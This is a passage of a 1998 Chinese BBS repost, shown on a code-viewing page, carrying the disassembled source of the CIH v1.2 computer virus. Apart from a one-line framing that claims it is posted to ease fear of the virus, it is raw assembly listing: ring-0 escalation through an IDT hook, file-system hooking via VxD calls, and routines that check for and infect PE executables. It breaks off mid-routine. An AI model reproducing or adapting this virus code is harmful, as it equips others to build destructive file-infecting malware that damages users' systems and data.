📄 cih v1-2的反汇编后的源代码.txt
字号:
发信人: TBsoft (TBsoft), 信区: Virus
标 题: CIH v1.2的反汇编后的源代码[转载]
发信站: 武汉白云黄鹤站 (Mon Oct 26 16:06:46 1998) , 站内信件
发信人: boschyan (糊涂的爱), 信区: Virus
标 题: CIH v1.2的反汇编后的原程序
发信站: BBS 水木清华站 (Mon Oct 26 16:10:52 1998) WWW-POST
希望各位大虾看看下面的CIH病毒程序
以消除对他的恐惧。增加免疫能力。
: 00401000 55 push ebp
: 00401001 8D4424F8 lea eax, dword ptr [esp-08]
: 00401005 33DB xor ebx, ebx
: 00401007 648703 xchg dword ptr fs:[ebx], eax
: 0040100A E800000000 call 0040100F
: 0040100F 5B pop ebx
: 00401010 8D4B42 lea ecx, dword ptr [ebx+42]
: 00401013 51 push ecx
: 00401014 50 push eax
: 00401015 50 push eax
: 00401016 0F014C24FE sidt [esp-02]
: 0040101B 5B pop ebx
: 0040101C 83C31C add ebx, 0000001C
: 0040101F FA cli
: 00401020 8B2B mov ebp, dword ptr [ebx]
: 00401022 668B6BFC mov bp, word ptr [ebx-04]
: 00401026 8D7112 lea esi, dword ptr [ecx+12]
: 00401029 56 push esi
: 0040102A 668973FC mov word ptr [ebx-04], si
: 0040102E C1EE10 shr esi, 10
: 00401031 66897302 mov word ptr [ebx+02], si
: 00401035 5E pop esi
: 00401036 CC int 03
: 00401037 56 push esi
: 00401038 8BF0 mov esi, eax
: 0040103A 8B48FC mov ecx, dword ptr [eax-04]
: 0040103D F3 repz
: 0040103E A4 movsb
: 0040103F 83E808 sub eax, 00000008
: 00401042 8B30 mov esi, dword ptr [eax]
: 00401044 0BF6 or esi, esi
: 00401046 7402 je 0040104A
: 00401048 EBF0 jmp 0040103A
: 0040104A 5E pop esi
: 0040104B CC int 03
: 0040104C FB sti
: 0040104D 33DB xor ebx, ebx
: 0040104F EB07 jmp 00401058
: 00401051 33DB xor ebx, ebx
: 00401053 648B03 mov eax, dword ptr fs:[ebx]
: 00401056 8B20 mov esp, dword ptr [eax]
: 00401058 648F03 pop dword ptr fs:[ebx]
: 0040105B 58 pop eax
: 0040105C 5D pop ebp
: 0040105D 6850370201 push 01023750
: 00401062 C3 ret
: 00401063 7432 je 00401097
: 00401065 0F BYTE 0fh
: 00401066 21C1 and ecx, eax
: 00401068 E310 jcxz 0040107A
: 0040106A 83042415 add dword ptr [esp], 00000015
: 0040106E 66896BFC mov word ptr [ebx-04], bp
: 00401072 C1ED10 shr ebp, 10
: 00401075 66896B02 mov word ptr [ebx+02], bp
: 00401079 CF iret
: 0040107A 0F BYTE 0fh
: 0040107B 23C3 and eax, ebx
: 0040107D 6A0F push 0000000F
: 0040107F 51 push ecx
: 00401080 6AFF push FFFFFFFF
: 00401082 51 push ecx
: 00401083 51 push ecx
: 00401084 51 push ecx
: 00401085 6A01 push 00000001
: 00401087 6A02 push 00000002
: 00401089 CD20 int 20
: 0040108B 53 push ebx
: 0040108C 0001 add byte ptr [ecx], al
: 0040108E 0083C420978D add byte ptr [ebx+8D9720C4], al
: 00401094 46 inc esi
: 00401095 9D popfd
: 00401096 CF iret
: 00401097 8D87F7FCFFFF lea eax, dword ptr [edi+FFFFFCF7]
: 0040109D 50 push eax
: 0040109E CD20 int 20
: 004010A0 67004000 add [bx+si+00], al
: 004010A4 0F BYTE 0fh
: 004010A5 23C0 and eax, eax
: 004010A7 58 pop eax
: 004010A8 8B4E3D mov ecx, dword ptr [esi+3D]
: 004010AB 8B11 mov edx, dword ptr [ecx]
: 004010AD 8950FC mov dword ptr [eax-04], edx
: 004010B0 8D40D6 lea eax, dword ptr [eax-2A]
: 004010B3 8901 mov dword ptr [ecx], eax
: 004010B5 FA cli
: 004010B6 EBB6 jmp 0040106E
: 004010B8 53 push ebx
: 004010B9 E800000000 call 004010BE
* Referenced by a CALL at Address:
|:004010B9
|
: 004010BE 5B pop ebx
: 004010BF 83C324 add ebx, 00000024
: 004010C2 53 push ebx
: 004010C3 CD20 int 20
: 004010C5 6800400058 push 58004000
: 004010CA FF742408 push [esp+08]
: 004010CE FF53FC call [ebx-04]
: 004010D1 59 pop ecx
: 004010D2 50 push eax
: 004010D3 53 push ebx
: 004010D4 FF53FC call [ebx-04]
: 004010D7 59 pop ecx
: 004010D8 0F BYTE 0fh
: 004010D9 23C0 and eax, eax
: 004010DB 58 pop eax
: 004010DC 5B pop ebx
: 004010DD C3 ret
: 004010DE C09201C060E800 rcl byte ptr [edx+E860C001], 00
: 004010E5 000000 BYTE 3 DUP(0)
: 004010E8 5E pop esi
: 004010E9 81C603030000 add esi, 00000303
: 004010EF F60601 test byte ptr [esi], 01
: 004010F2 0F85F0010000 jne 004012E8
: 004010F8 8D5C2428 lea ebx, dword ptr [esp+28]
: 004010FC 833B24 cmp dword ptr [ebx], 00000024
: 004010FF 0F85DD010000 jne 004012E2
: 00401105 FE06 inc byte ptr [esi]
: 00401107 83C605 add esi, 00000005
: 0040110A 56 push esi
: 0040110B 8A4304 mov al, byte ptr [ebx+04]
: 0040110E 3CFF cmp al, FF
: 00401110 7408 je 0040111A
: 00401112 0440 add al, 40
: 00401114 B43A mov ah, 3A
: 00401116 8906 mov dword ptr [esi], eax
: 00401118 46 inc esi
: 00401119 46 inc esi
: 0040111A 6A00 push 00000000
: 0040111C 6A7F push 0000007F
: 0040111E 8B5B10 mov ebx, dword ptr [ebx+10]
: 00401121 8B430C mov eax, dword ptr [ebx+0C]
: 00401124 83C004 add eax, 00000004
: 00401127 50 push eax
: 00401128 56 push esi
: 00401129 CD20 int 20
: 0040112B 41 inc ecx
: 0040112C 004000 add byte ptr [eax+00], al
: 0040112F 83C410 add esp, 00000010
: 00401132 817C06FC2E455845 cmp dword ptr [esi+eax-04], 4558452E
: 0040113A 5E pop esi
: 0040113B 0F859E010000 jne 004012DF
: 00401141 66837B1801 cmp word ptr [ebx+18], 0001
: 00401146 0F8593010000 jne 004012DF
: 0040114C 66B80043 mov ax, 4300
: 00401150 CD20 int 20
: 00401152 3200 xor al, byte ptr [eax]
: 00401154 40 inc eax
: 00401155 000F add byte ptr [edi], cl
: 00401157 8283010000518B add byte ptr [ebx+51000001], 8B
: 0040115E BE62FDFFFF mov esi, FFFFFD62
: 00401163 8B3F mov edi, dword ptr [edi]
: 00401165 F6C101 test cl, 01
: 00401168 7408 je 00401172
: 0040116A 66B80143 mov ax, 4301
: 0040116E 33C9 xor ecx, ecx
: 00401170 FFD7 call edi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401168(C)
|
: 00401172 33C0 xor eax, eax
: 00401174 B4D5 mov ah, D5
: 00401176 33C9 xor ecx, ecx
: 00401178 33D2 xor edx, edx
: 0040117A 42 inc edx
: 0040117B 8BDA mov ebx, edx
: 0040117D 43 inc ebx
: 0040117E FFD7 call edi
: 00401180 93 xchg eax,ebx
: 00401181 59 pop ecx
: 00401182 9C pushfd
: 00401183 F6C101 test cl, 01
: 00401186 7406 je 0040118E
: 00401188 66B80143 mov ax, 4301
: 0040118C FFD7 call edi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401186(C)
|
: 0040118E 9D popfd
: 0040118F 0F824A010000 jb 004012DF
: 00401195 56 push esi
: 00401196 9C pushfd
: 00401197 83C67F add esi, 0000007F
: 0040119A 33C0 xor eax, eax
: 0040119C B4D6 mov ah, D6
: 0040119E 8BE8 mov ebp, eax
: 004011A0 33C9 xor ecx, ecx
: 004011A2 B104 mov cl, 04
: 004011A4 33D2 xor edx, edx
: 004011A6 B23C mov dl, 3C
: 004011A8 FFD7 call edi
: 004011AA 8B16 mov edx, dword ptr [esi]
: 004011AC 4A dec edx
: 004011AD 8BC5 mov eax, ebp
: 004011AF FFD7 call edi
: 004011B1 813E00504500 cmp dword ptr [esi], 00455000
: 004011B7 0F850A010000 jne 004012C7
: 004011BD 53 push ebx
: 004011BE 6A00 push 00000000
* Possible Reference to String Resource ID=00001: "Ave"
|
: 004011C0 6A01 push 00000001
: 004011C2 52 push edx
: 004011C3 57 push edi
: 004011C4 0F BYTE 0fh
: 004011C5 23CC and ecx, esp
: 004011C7 50 push eax
: 004011C8 8BC5 mov eax, ebp
: 004011CA B152 mov cl, 52
: 004011CC 83C207 add edx, 00000007
: 004011CF FFD7 call edi
: 004011D1 8D4222 lea eax, dword ptr [edx+22]
: 004011D4 50 push eax
: 004011D5 8D06 lea eax, dword ptr [esi]
: 004011D7 50 push eax
: 004011D8 0FB7460E movzx eax, word ptr [esi+0E]
: 004011DC 8D541012 lea edx, dword ptr [eax+edx+12]
: 004011E0 B028 mov al, 28
: 004011E2 8A0E mov cl, byte ptr [esi]
: 004011E4 F6E1 mul cl
: 004011E6 8D7632 lea esi, dword ptr [esi+32]
: 004011E9 50 push eax
: 004011EA 52 push edx
: 004011EB 56 push esi
: 004011EC 41 inc ecx
: 004011ED 51 push ecx
: 004011EE C1E103 shl ecx, 03
: 004011F1 51 push ecx
: 004011F2 03C8 add ecx, eax
: 004011F4 03CA add ecx, edx
: 004011F6 2B4E1C sub ecx, dword ptr [esi+1C]
: 004011F9 737D jnb 00401278
: 004011FB F7D1 not ecx
: 004011FD 41 inc ecx
: 004011FE 6681F9B800 cmp cx, 00B8
: 00401203 7273 jb 00401278
: 00401205 51 push ecx
: 00401206 91 xchg eax,ecx
: 00401207 8B46F0 mov eax, dword ptr [esi-10]
: 0040120A 0346FC add eax, dword ptr [esi-04]
: 0040120D 8986BDFBFFFF mov dword ptr [esi+FFFFFBBD], eax
: 00401213 8BC5 mov eax, ebp
: 00401215 FFD7 call edi
: 00401217 5B pop ebx
: 00401218 5F pop edi
: 00401219 59 pop ecx
: 0040121A 57 push edi
: 0040121B 03D0 add edx, eax
: 0040121D 52 push edx
: 0040121E 03C6 add eax, esi
: 00401220 50 push eax
: 00401221 8D4438FC lea eax, dword ptr [eax+edi-04]
: 00401225 8918 mov dword ptr [eax], ebx
: 00401227 53 push ebx
: 00401228 03D7 add edx, edi
: 0040122A 52 push edx
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -